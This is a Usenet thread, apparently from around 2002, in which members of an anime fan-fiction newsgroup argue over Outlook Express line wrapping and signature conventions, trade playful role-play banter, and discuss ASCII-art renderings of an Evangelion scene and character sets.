> > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > Tim Hammerquist wrote:
> > > > Disaster graced us by uttering:
> > > > > What is FWIW?
> > > >
> > > > For What It's Worth
> > >
> > > *scribbles furiously muttering darkly about excessive acronyms*
> >
> > *Accidentally, deliberately sets fire to your stake of notes
concerning
> > acronyms and the stake of paper where you get your dark muttering
from.*
> >
> > Mantra's are SUPPOSE to be good things!
>
> uninitiated! :p~~
Remember when I told you about opening portals to star's? They open up in
the middle of the star!
Disaster
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
not
> > use it.
>
> Correct. But this also means that you should live with others using such
> a fixed-width font - and if something has been marked, you don't see
> what has been before setting the font (or using the clipboard to view
> the text in notepad).
>
> Try it with this:
>
>
> OK, it's low quality, but you should be able to recognize this picture.
> You'll have to retreat from the screen to see it.
Yer right it is low quality, I dumped it into Notepad (where I do use a
fixed width) and I still couldn't see it.
I'm not saying that fixed width does not have it's purpose! It makes
string analysis much easier for example. But there is another
consideration where that "^" marking is concerned! It looks ugly and it
adds a line (from you) in the middle of a paragraph (from me). This is of
course addressing the issue related to ">" on the left declaring where
each paragraph has come from. I have already told you that the method we
use here is simply to break the paragraph up, do a little cleaning and
then reply. It's much neater and easier to read.
> > The lack of "binary" in the very groups name should by itself also
declare
> > this group a non-binary group!
>
> ACK.
>
> But just look at one posting you produced and one someone else produced:
> http://test.durchnull.ath.cx/disbroken.png - you can see three bugs of
> your software on one picture: the incorrect word wrapping which makes
> the quotation levels unclear, the wrongly separated signature (it has
> to be "-- ", not "--") and the superfluous empty lines at the end of the
> posting (not really severe).
>
> For comparison I put one of Watchman's postings at the other side. You
> see the quotation then correctly coloured, the signature in reverse
> video (it would be automatically snipped when replying) and no empty
> lines at the end.
Okay listen to me, My line length's have been shortened and lengthened and
shorted where the fuck do you want them? I don't care, I have them at 74
right now. Not my fault if you system wraps at 60, it's yours. I'll go a
short as 70 and I want something like this entered into the FAQ's, the JAE
official fucking line length. Next, MY SIGNATURE HAS A "--" BECAUSE ALL MY
SIGNATURES HAVE IT THERE! Primarily OE does this and it suits me fine, I
echo it in my emails as well! My signature is not a convenience feature
for your program. It's my Signature and like all signature's I come across
meant to be manually deleted before you reply. Last, Watchman's post there
has almost as many extra lines on the bottom as mine do and this is hardly
an issue as it takes about 4 key strokes at the end of your reply to get
rid of them before you enter your signature and three of those keys you
press together.
Guess what, USENET has different people using different programs on it and
if I want to use this program and fix a few things manually then that's my
choice. I don't violate any rules within the group and I don't mess
anything up to any major degree like entering extra lines so I can dump
some "^" characters in and later on talk about it in a group where I KNOW
people use fixed width as well as non-fixed width fonts.
Disaster
doesn't change anything else that I said though.
Rudolf Polzer
[...]
> > But just look at one posting you produced and one someone else produced:
> > http://test.durchnull.ath.cx/disbroken.png - you can see three bugs of
> > your software on one picture: the incorrect word wrapping which makes
> > the quotation levels unclear, the wrongly separated signature (it has
> > to be "-- ", not "--") and the superfluous empty lines at the end of the
> > posting (not really severe).
> Okay listen to me, My line length's have been shortened and lengthened and
> shorted where the fuck do you want them? I don't care, I have them at 74
> right now. Not my fault if you system wraps at 60, it's yours.
It isn't. Your posting looks exact the same on Google.
It _is_ a bug in OE. My newsreader does not wrap lines starting with >
so they stay as is - OE rewraps them.
Now imagine everyone uses 74 as line length. One sends a line with 74
characters (which of course can happen). The next one quotes this line -
now it has 76 characters. But 76 is too big, so the last word lands in
the next line - which is WRONG!
Just try it:
72 characters in a line look like this: --------------------------------
73 characters in a line look like this: ---------------------------------
74 characters in a line look like this: ----------------------------------
75 characters in a line look like this: -----------------------------------
76 characters in a line look like this: ------------------------------------
77 characters in a line look like this: -------------------------------------
When replying, OE will break everything from the second line on when set
to 74. Interestingly, you won't see this in the window where you write
the reply. But if you click on "Send" and then look at your message in
"Outbox" or "Sent", you see the problem. The thing is that OE rewraps the
lines when you click on "Send", not while editing, so of course you
think everything is OK!
The only ways to fix this problem are:
a) Using some extra tools (another one is called OE-QuoteFix)
b) setting a fixed width font, setting the line length to the maximum
value (isn't that 132) and manually breaking every line.
> I'll go a short as 70 and I want something like this entered into the
> FAQ's, the JAE official fucking line length.
If everyone uses 70, the problem still appears. It appears with 10, with
20, with 100 - it *always* appears. Face it, your software is buggy.
Disaster
and that they could fix a few things up with it. But I'm not really
caring! I have more pressing things in this newsgroup let alone my real
life then to worry about something that you can fix with a little editing
of your replies. To continue I'm certainly not going to install something
that modifies OE that doesn't come from MS. I don't care how much someone
screams it's virtues.
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Disaster wrote:
> > > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > > Tim Hammerquist wrote:
> > > > > Disaster graced us by uttering:
> > > > > > What is FWIW?
> > > > >
> > > > > For What It's Worth
> > > >
> > > > *scribbles furiously muttering darkly about excessive acronyms*
> > >
> > > *Accidentally, deliberately sets fire to your stake of notes
> concerning
> > > acronyms and the stake of paper where you get your dark muttering
> from.*
> > >
> > > Mantra's are SUPPOSE to be good things!
> >
> > My stacks of papers are fireproof. The stakes of papers are to fool the
> > uninitiated! :p~~
>
> Remember when I told you about opening portals to star's? They open up in
> the middle of the star!
How would you be able to see what you are doing in the heart of a star?
Watchman
Of course if you used Netscape there wouldn't be a problem. :)
Tim Hammerquist
> "Tim Hammerquist" <t...@vegeta.ath.cx> wrote:
>> Besides, are you saying there's something wrong with being a newbie
>> in a new place? =)
>
> Apparently I would fit right in! But I imagine that they at least know
> SOMETHING about perl. The best I have are counter and guest book
> tutorial's that tell you what tags to throw in your html.
Ah, yes. The obligatory CGI scripts.
The good news is, most people in c.l.p.m are at this level.
The bad news is, they are the ones offereing advice and help.
Or did you wonder _why_ we need your patience over there? ;)
Tim Hammerquist
--
/earth is 98% full ... please delete anyone you can.
Tim Hammerquist
>> Vaughn L.Porter graced us by uttering:
>> > Tim, you don't, by any chance, work for Intel, do you? I heard
>> > acronyms are all the rage there.
>>
>> Not likely. Intel has already convicted and criminalized one of my
>> acquaintances.
>
> What did he do?
Um, that's why I gave the link that you snipped:
http://www.lightlink.com/spacenka/fors/
But if you don't have a browser handy (which is ridiculous because you
use MS Outlook Distress...), here's some relevant paragraphs:
In late July 1995, a trial jury convicted Randal L. Schwartz of
three felony counts under Oregon's Computer Crime Law. The charges
related to his activities while working as a consultant at an Intel
Corporation facility in Beaverton, Oregon. His sentence issued in
September includes 5 years of probation, 480 hours of community
service, 90 days of deferred (cancellable) jail time, and $68k of
restitution to Intel. His legal bill exceeded $170k by the end of
1995. In July, 1998, the deferred jail-time sentence would have
taken effect. Due to excellent compliance with terms of probation
the judge converted the deferred jail time to suspended jail time.
Schwartz appealed the conviction. A decision by the State of Oregon
Court of Appeals in April 2001 upheld the convictions on all counts,
but reversed the restitution order and sent this issue back to the
original court for reconsideration.
Mr. Schwartz is known and respected on the Internet for his
contributions to the progress of the Perl programming language
through two books, long-time participation in the
comp.lang.perl(.misc) newsgroup, moderation of the
comp.lang.perl.announce newsgroup, and training courses.
In short, a well-liked and well-respected fellow programmer was
convicted of commiting a computer crime that Intel _paid_ him to commit.
That's what he did.
>> Those with managers who are _still_ below the comprehension threshold
>> for HTML can at least laugh that these same managers think that
>> writing HTML is remotely akin to programming. ... I did. =)
>
> LOL
>
> HTML is at least programming like! Not akin or as difficult I'm sure
> but sometimes you get just as frustrated! :D Although HTML doesn't
> cause me as much trouble as expression building in MS Access97. O_o;;;
Expression building takes some getting used to, but compared to regular
expressions [1], it's a cake walk.
http://www.devshed.com/Server_Side/Administration/RegExp/page1.html
Now _scripting_ MS Access (VBA) starts to look like programming!
Tim Hammerquist
--
I do not, for one, think that the problem was that the band was down.
I think that the problem may have been...that there was a Stonehenge
monument on the stage that was in danger of being crushed by a dwarf.
-- David St. Hubbins, "This is Spinal Tap"
Tim Hammerquist
> OE that doesn't come from MS. I don't care how much someone screams
> it's virtues.
There are, of course, other options. You will never find me suggesting
you _PATCH_ Outlook Express. However, if I'm not feeling sufficiently
diplomatic, you _might_ catch me suggesting you _DELETE_ Outlook
Express... and Netscape Messenger, too. =)
Tim Hammerquist
--
It has been truly said that hackers have even more words for
equipment failures than Yiddish has for obnoxious people.
-- Jargon File 4.3.1
Tim Hammerquist
> Scripsit illa aut ille Disaster <disa...@disfanfic.net>:
Latin. Nice. =)
Asuka, right? How did you generate this?
Cheers,
Tim Hammerquist
--
Westley: Why didn't you wait for me?
Buttercup: Well, you were dead.
-- "The Princess Bride"
Rudolf Polzer
It's the famous "screen-yell" scene.
It's an output plugin of my video player. Normally I use this at higher
resolutions (my screen resolution is 80x50) and with boldface and dim
attributes, then it looks much better. My image editing program GIMP
also supports this - maybe the Windows version does, too, but I did not
check.
If you want, I could send you an ASCII video file. You'd have to open it
in Notepad or MS-DOS-Editor, if using the former set the window size
right and then keep PageDown pressed to view the video. I already have
this one (but it only works with Notepad because it uses too many lines
per page), you can download it at http://test.durchnull.ath.cx/aa.zip
(1.3MB).
Rudolf Polzer
You're running a SMTP server? Seems like I cannot get the MX record, but
it's the same with my dyndns account. I'll have a look at the settings
again...
> Disaster graced us by uttering:
> > To continue I'm certainly not going to install something that modifies
> > OE that doesn't come from MS. I don't care how much someone screams
> > it's virtues.
>
> There are, of course, other options. You will never find me suggesting
> you _PATCH_ Outlook Express. However, if I'm not feeling sufficiently
> diplomatic, you _might_ catch me suggesting you _DELETE_ Outlook
> Express... and Netscape Messenger, too. =)
What's so bad about NM? It has exactly five bugs:
1. It looks ugly.
2. Is has the same design mistake as OE: it displays messages using the
HTML renderer, so security holes in it may be also exploited using
mail. At least it's easy to disable JavaScript in mail.
3. It looks ugly.
4. The message-id bug: if you don't have an own domain, you have to put
double qoutes around the mail address since otherwise NM would use
the domain part in the MID and can then potentially create ununique
MIDs. But this wouldn't harm Disaster because he has his own domain.
5. Did I mention it looks ugly?
So I think: if Disaster accepts irreparable damage to his eyes, he could
use NM.
Disaster
> Disaster graced us by uttering:
> > "Tim Hammerquist" <t...@vegeta.ath.cx> wrote:
> > > Besides, are you saying there's something wrong with being a newbie
> > > in a new place? =)
> >
> > Apparently I would fit right in! But I imagine that they at least know
> > SOMETHING about perl. The best I have are counter and guest book
> > tutorial's that tell you what tags to throw in your html.
>
> Ah, yes. The obligatory CGI scripts.
>
> The good news is, most people in c.l.p.m are at this level.
>
> The bad news is, they are the ones offereing advice and help.
>
> Or did you wonder _why_ we need your patience over there? ;)
Well, frankly I'm far more interested in making sure that everyone notes
that I am a patient man! This is the first time it has been noted!
Disaster
>
> Um, that's why I gave the link that you snipped:
>
> http://www.lightlink.com/spacenka/fors/
Well pfft! :P
I don't like opening links when I'm half way through a post! My poor
feeble mind can't handle so many distractions..... or something like that!
> But if you don't have a browser handy (which is ridiculous because you
> use MS Outlook Distress...), here's some relevant paragraphs:
>
[Snip extract]
>
> In short, a well-liked and well-respected fellow programmer was
> convicted of commiting a computer crime that Intel _paid_ him to commit.
> That's what he did.
Okay, but what WAS it?
> > HTML is at least programming like! Not akin or as difficult I'm sure
> > but sometimes you get just as frustrated! :D Although HTML doesn't
> > cause me as much trouble as expression building in MS Access97. O_o;;;
>
> Expression building takes some getting used to, but compared to regular
> expressions [1], it's a cake walk.
I find that Access uses logical expressions more literally then Excel,
that's about as much analysis I can provide though! :P
Disaster
...... You spend a lot of time under the sun don't you!?
The idea of course is that the portal leads from the star to just next to
your stack of papers! Can you say "Time for another clone?"
Disaster
> Disaster graced us by uttering:
> > To continue I'm certainly not going to install something that modifies
> > OE that doesn't come from MS. I don't care how much someone screams
> > it's virtues.
>
> There are, of course, other options. You will never find me suggesting
> you _PATCH_ Outlook Express. However, if I'm not feeling sufficiently
> diplomatic, you _might_ catch me suggesting you _DELETE_ Outlook
> Express... and Netscape Messenger, too. =)
Well NS can bite me and I feel confortable with OE dispite it's
non-functional crap! No I'm not even talking about newsgroups when I say
that!
Disaster
>
> Of course if you used Netscape there wouldn't be a problem. :)
Yes there would, I don't WANT to use NS.
Disaster
> Scripsit illa aut ille Tim Hammerquist <t...@vegeta.ath.cx>:
> > > To continue I'm certainly not going to install something that
modifies
> > > OE that doesn't come from MS. I don't care how much someone screams
> > > it's virtues.
> >
> > There are, of course, other options. You will never find me
suggesting
> > you _PATCH_ Outlook Express. However, if I'm not feeling sufficiently
> > diplomatic, you _might_ catch me suggesting you _DELETE_ Outlook
> > Express... and Netscape Messenger, too. =)
>
> What's so bad about NM? It has exactly five bugs:
>
> 1. It looks ugly.
> 2. Is has the same design mistake as OE: it displays messages using the
> HTML renderer, so security holes in it may be also exploited using
> mail. At least it's easy to disable JavaScript in mail.
> 3. It looks ugly.
> 4. The message-id bug: if you don't have an own domain, you have to put
> double qoutes around the mail address since otherwise NM would use
> the domain part in the MID and can then potentially create ununique
> MIDs. But this wouldn't harm Disaster because he has his own domain.
> 5. Did I mention it looks ugly?
>
> So I think: if Disaster accepts irreparable damage to his eyes, he could
> use NM.
Disaster abhors ugly looking programs. Layout is very important as far as
I care!
Rudolf Polzer
> "Rudolf Polzer" <AntiATFiel...@durchnull.de> wrote:
> >
> > 1. It looks ugly.
> > 2. Is has the same design mistake as OE: it displays messages using the
> > HTML renderer, so security holes in it may be also exploited using
> > mail. At least it's easy to disable JavaScript in mail.
> > 3. It looks ugly.
> > 4. The message-id bug: if you don't have an own domain, you have to put
> > double qoutes around the mail address since otherwise NM would use
> > the domain part in the MID and can then potentially create ununique
> > MIDs. But this wouldn't harm Disaster because he has his own domain.
> > 5. Did I mention it looks ugly?
> >
> > So I think: if Disaster accepts irreparable damage to his eyes, he could
> > use NM.
>
> Disaster abhors ugly looking programs. Layout is very important as far as
> I care!
The *layout* of Netscape it OK. The ugly thing is the light-grey
background. It might be better for the eyes, but it just looks ugly.
The worst thing is that the background is not configurable. The
background of one of the three panes is, but the others aren't.
Disaster
> The *layout* of Netscape it OK. The ugly thing is the light-grey
> background. It might be better for the eyes, but it just looks ugly.
> The worst thing is that the background is not configurable. The
> background of one of the three panes is, but the others aren't.
As that is all part of layout, NS is not for me!
Richard Liang
>>Asuka, right? How did you generate this?
>>
>>
>
>It's the famous "screen-yell" scene.
>
>
Er, which is this scene? I still can't see it! :(
Richard
Rudolf Polzer
It's the scene where Asuka yells into the image of Shinji and Shinji
retreats as visible on the screen.
Since an AMV is shorter than an episode, I'll refer to that:
Kevin Caldwell's Rammstein - Engel AMV, 02:22,
"Gott weiß, ich will kein Engel sein!"
(in the English version of the song: "Goddamn not an angel, when I die!")
Watchman
>
> "Tim Hammerquist" <t...@vegeta.ath.cx> wrote:
> > Disaster graced us by uttering:
> > > "Tim Hammerquist" <t...@vegeta.ath.cx> wrote:
> > > > Besides, are you saying there's something wrong with being a newbie
> > > > in a new place? =)
> > >
> > > Apparently I would fit right in! But I imagine that they at least know
> > > SOMETHING about perl. The best I have are counter and guest book
> > > tutorial's that tell you what tags to throw in your html.
> >
> > Ah, yes. The obligatory CGI scripts.
> >
> > The good news is, most people in c.l.p.m are at this level.
> >
> > The bad news is, they are the ones offereing advice and help.
> >
> > Or did you wonder _why_ we need your patience over there? ;)
>
> Well, frankly I'm far more interested in making sure that everyone notes
> that I am a patient man! This is the first time it has been noted!
ROFL
...Oh, you were serious.
*coughs*
...sorry. :p
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> >
> > Of course if you used Netscape there wouldn't be a problem. :)
>
> Yes there would, I don't WANT to use NS.
> --
*rolls eyes*
Some people are just So difficult! :p
Disaster
> Disaster wrote:
> > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > >
> > > Of course if you used Netscape there wouldn't be a problem. :)
> >
> > Yes there would, I don't WANT to use NS.
>
>
> Some people are just So difficult! :p
Frankly I think the concept here is easy enough even for you to
understand!
Richard Liang
>Scripsit illa aut ille Richard Liang <rhl...@interchange.ubc.ca>:
>
>
>>Rudolf Polzer wrote:
>>
>>
>>
>>>>Asuka, right? How did you generate this?
>>>>
>>>>
>>>It's the famous "screen-yell" scene.
>>>
>>>
>>Er, which is this scene? I still can't see it! :(
>>
>>
>
>It's the scene where Asuka yells into the image of Shinji and Shinji
>retreats as visible on the screen.
>
>Since an AMV is shorter than an episode, I'll refer to that:
>
>Kevin Caldwell's Rammstein - Engel AMV, 02:22,
>"Gott weiß, ich will kein Engel sein!"
>(in the English version of the song: "Goddamn not an angel, when I die!")
>
>
Okay, I think I know which you're talking about, it's from episode 9,
when they try to take on Israfel (the one that split into two)?
Richard
Disaster
notes
> > that I am a patient man! This is the first time it has been noted!
>
>
> ...Oh, you were serious.
>
> *coughs*
>
> ...sorry. :p
*Dumps a bucket of goo from previously exploded clones on your head*
Tim Hammerquist
> Scripsit illa aut ille Richard Liang <rhl...@interchange.ubc.ca> :
> > Rudolf Polzer wrote:
> > > > Asuka, right? How did you generate this?
I never saw a response to this. It may have been a problem with my
ISP's news server, but would someone mind reposting at least this msg,
possibly the two following:
> > > It's the famous "screen-yell" scene.
> >
> > Er, which is this scene? I still can't see it! :(
>
> it's the scene where asuka yells into the image of shinji and shinji
> retreats as visible on the screen.
Thx.
Tim Hammerquist
--
As a computer, I find your faith in technology amusing.
Tim Hammerquist
Nevermind. Google Groups is my friend. ;)
Tim Hammerquist
--
We're dumber than squirrels. We hear voices and do
what they command. I have broccoli in my socks.
-- Dilbert's boss
Tim Hammerquist
> Rudolf Polzer graced us by uttering:
> > picture. You'll have to retreat from the screen to see it. Asuka,
> > right? How did you generate this?
>
>
> higher resolutions (my screen resolution is 80x50) and with boldface
> and dim attributes, then it looks much better. My image editing
> program GIMP also supports this - maybe the Windows version does, too,
> but I did not check.
I couldn't find this tool in the gimp's menus. (SuSE linux 7.3, gimp
v1.2.2) Is this a gimp filter or export ability? Or is it a plugin?
> If you want, I could send you an ASCII video file. You'd have to open
> it in Notepad or MS-DOS-Editor, if using the former set the window
> size right and then keep PageDown pressed to view the video. I already
> have this one (but it only works with Notepad because it uses too many
> lines per page), you can download it at
> http://test.durchnull.ath.cx/aa.zip (1.3MB).
Someone didn't check his article headers, or he'd have seen I'm not
using any MS software. ;)
('course, I'm probably in the minority... again... =)
Please reply to ti...@cpan.org. Thx
Tim Hammerquist
--
"Not Hercules could have knock'd out his brains, for he had none."
-- William Shakespeare
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Disaster wrote:
> > > "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > > >
> > > > Of course if you used Netscape there wouldn't be a problem. :)
> > >
> > > Yes there would, I don't WANT to use NS.
> >
> > *rolls eyes*
> >
> > Some people are just So difficult! :p
>
> Frankly I think the concept here is easy enough even for you to
> understand!
Hah! You underestimate my abilities of misinterpretation!
I shall yet thwart your Nefarious schemes, Villain!
For Freedom!
For Justice!
For ...er, ...That Other One!
*with a dramatic swirl of his cape Watchman launches himself through the
nearest window. Fortunately his inability to fly does not cause him to
greater problem as the window was on the ground floor. Dusting himself
off Watchman makes a hasty, yet dignified, exit*
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Disaster wrote:
> > > Well, frankly I'm far more interested in making sure that everyone
> notes
> > > that I am a patient man! This is the first time it has been noted!
> >
> > ROFL
> >
> > ...Oh, you were serious.
> >
> > *coughs*
> >
> > ...sorry. :p
>
> *Dumps a bucket of goo from previously exploded clones on your head*
It's not my clones. Mine are biodegradable!
Kakarotto
Rudolf Polzer
> *Cape does not enable user to fly*
It never did.
Disaster
> Disaster wrote:
> > *Dumps a bucket of goo from previously exploded clones on your head*
>
> It's not my clones. Mine are biodegradable!
It's amazing how gross decomposing organic matter can get in a not quite
properly powered stasis chamber.
Disaster
Gee, I guess I have underestimated your ability to misinterpret your
environment. First, that's not a window, it's a furance, second, that's
not your cape, it was your pants and the so called ground floor is
actually the middle of the furnace in all it's glowing glory!
Look on the brightside, at least this time you won't have to clean your
goo up!
Watchman
>
> "Watchman" <str...@SPAMPHOBICwhyalla.net.au> wrote:
> > Disaster wrote:
> > > Frankly I think the concept here is easy enough even for you to
> > > understand!
> >
> > Hah! You underestimate my abilities of misinterpretation!
> >
> > I shall yet thwart your Nefarious schemes, Villain!
> >
> > For Freedom!
> >
> > For Justice!
> >
> > For ...er, ...That Other One!
> >
> > *with a dramatic swirl of his cape Watchman launches himself through the
> > nearest window. Fortunately his inability to fly does not cause him to
> > greater problem as the window was on the ground floor. Dusting himself
> > off Watchman makes a hasty, yet dignified, exit*
>
> Gee, I guess I have underestimated your ability to misinterpret your
> environment. First, that's not a window, it's a furance, second, that's
> not your cape, it was your pants and the so called ground floor is
> actually the middle of the furnace in all it's glowing glory!
>
> Look on the brightside, at least this time you won't have to clean your
> goo up!
> --
...I never did!
Disaster
Yes you did, you just don't remember! But i'm calling your mother anyway!
Cyclograph
<AntiATFiel...@durchnull.de> wrote:
>
>It's the famous "screen-yell" scene.
>
This must be some sort of Rosarch test... I thought it was western
Europe!
>It's an output plugin of my video player. Normally I use this at higher
>resolutions (my screen resolution is 80x50) and with boldface and dim
>attributes, then it looks much better. My image editing program GIMP
>also supports this - maybe the Windows version does, too, but I did not
>check.
Now I'm going to have to dig up the old GIF2ANSI utility! ;-) Though
I suppose most (if not all) usenet readers couldn't handle the
extended character set needed, and the animated variety would go too
fast on anything faster than a 2.4K modem link anyway.
-KD
Tim Hammerquist
[ snip ]
> > It's an output plugin of my video player. Normally I use this at
> > higher resolutions (my screen resolution is 80x50) and with boldface
> > and dim attributes, then it looks much better. My image editing
> > program GIMP also supports this - maybe the Windows version does,
> > too, but I did not check.
>
> Now I'm going to have to dig up the old GIF2ANSI utility! ;-) Though
> I suppose most (if not all) usenet readers couldn't handle the
> extended character set needed, and the animated variety would go too
> fast on anything faster than a 2.4K modem link anyway.
Well, if your newsreader can do attachements correctly (and I have a
reasonable amount of faith in Forte... more than, say, OE anyway), most
people at least have access to programs that can interpret ansi
correctly.
Btw, what's modem speed got to do with animation of GIF or ANSI
animation?
Tim Hammerquist
--
I'll keep him as an insurance policy, since,
unfortunately, I can't kill him twice.
-- Scaroth
Rudolf Polzer
> On Wed, 17 Jul 2002 12:56:44 +0200, Rudolf Polzer <AntiATFiel...@durchnull.de> wrote:
> >It's the famous "screen-yell" scene.
>
> This must be some sort of Rosarch test... I thought it was western
> Europe!
If I knew what a Rosarch test is... if I googled correctly, you are
meaning that it's not easy to see what this scene should be. And you're
right. With that low resolution it *is* difficult to see it.
A little bit easier is the image on http://eva.durchnull.ath.cx/ - it
has been done the same way, but it uses a higher screen resolution (and
was hand-edited to get the NERV logo in).
> >It's an output plugin of my video player. Normally I use this at higher
> >resolutions (my screen resolution is 80x50) and with boldface and dim
> >attributes, then it looks much better. My image editing program GIMP
> >also supports this - maybe the Windows version does, too, but I did not
> >check.
>
> Now I'm going to have to dig up the old GIF2ANSI utility! ;-) Though
> I suppose most (if not all) usenet readers couldn't handle the
> extended character set needed, and the animated variety would go too
> fast on anything faster than a 2.4K modem link anyway.
Which character set is it? There isn't "the" ANSI character set. Is it
the one DOS uses (cp437), the one Windows uses (windows-1252) or
some iso-8859 character set (esp. iso-8859-1)? If it's one of the
latter, you can add a header to your posting like
Content-type: text/plain; charset=iso-8859-1
and nearly everyone will be able to see it. Only cp437 is problematic
because it's not widespread enough. In Windows there's exactly one font
that supports it (this font is called "Terminal").
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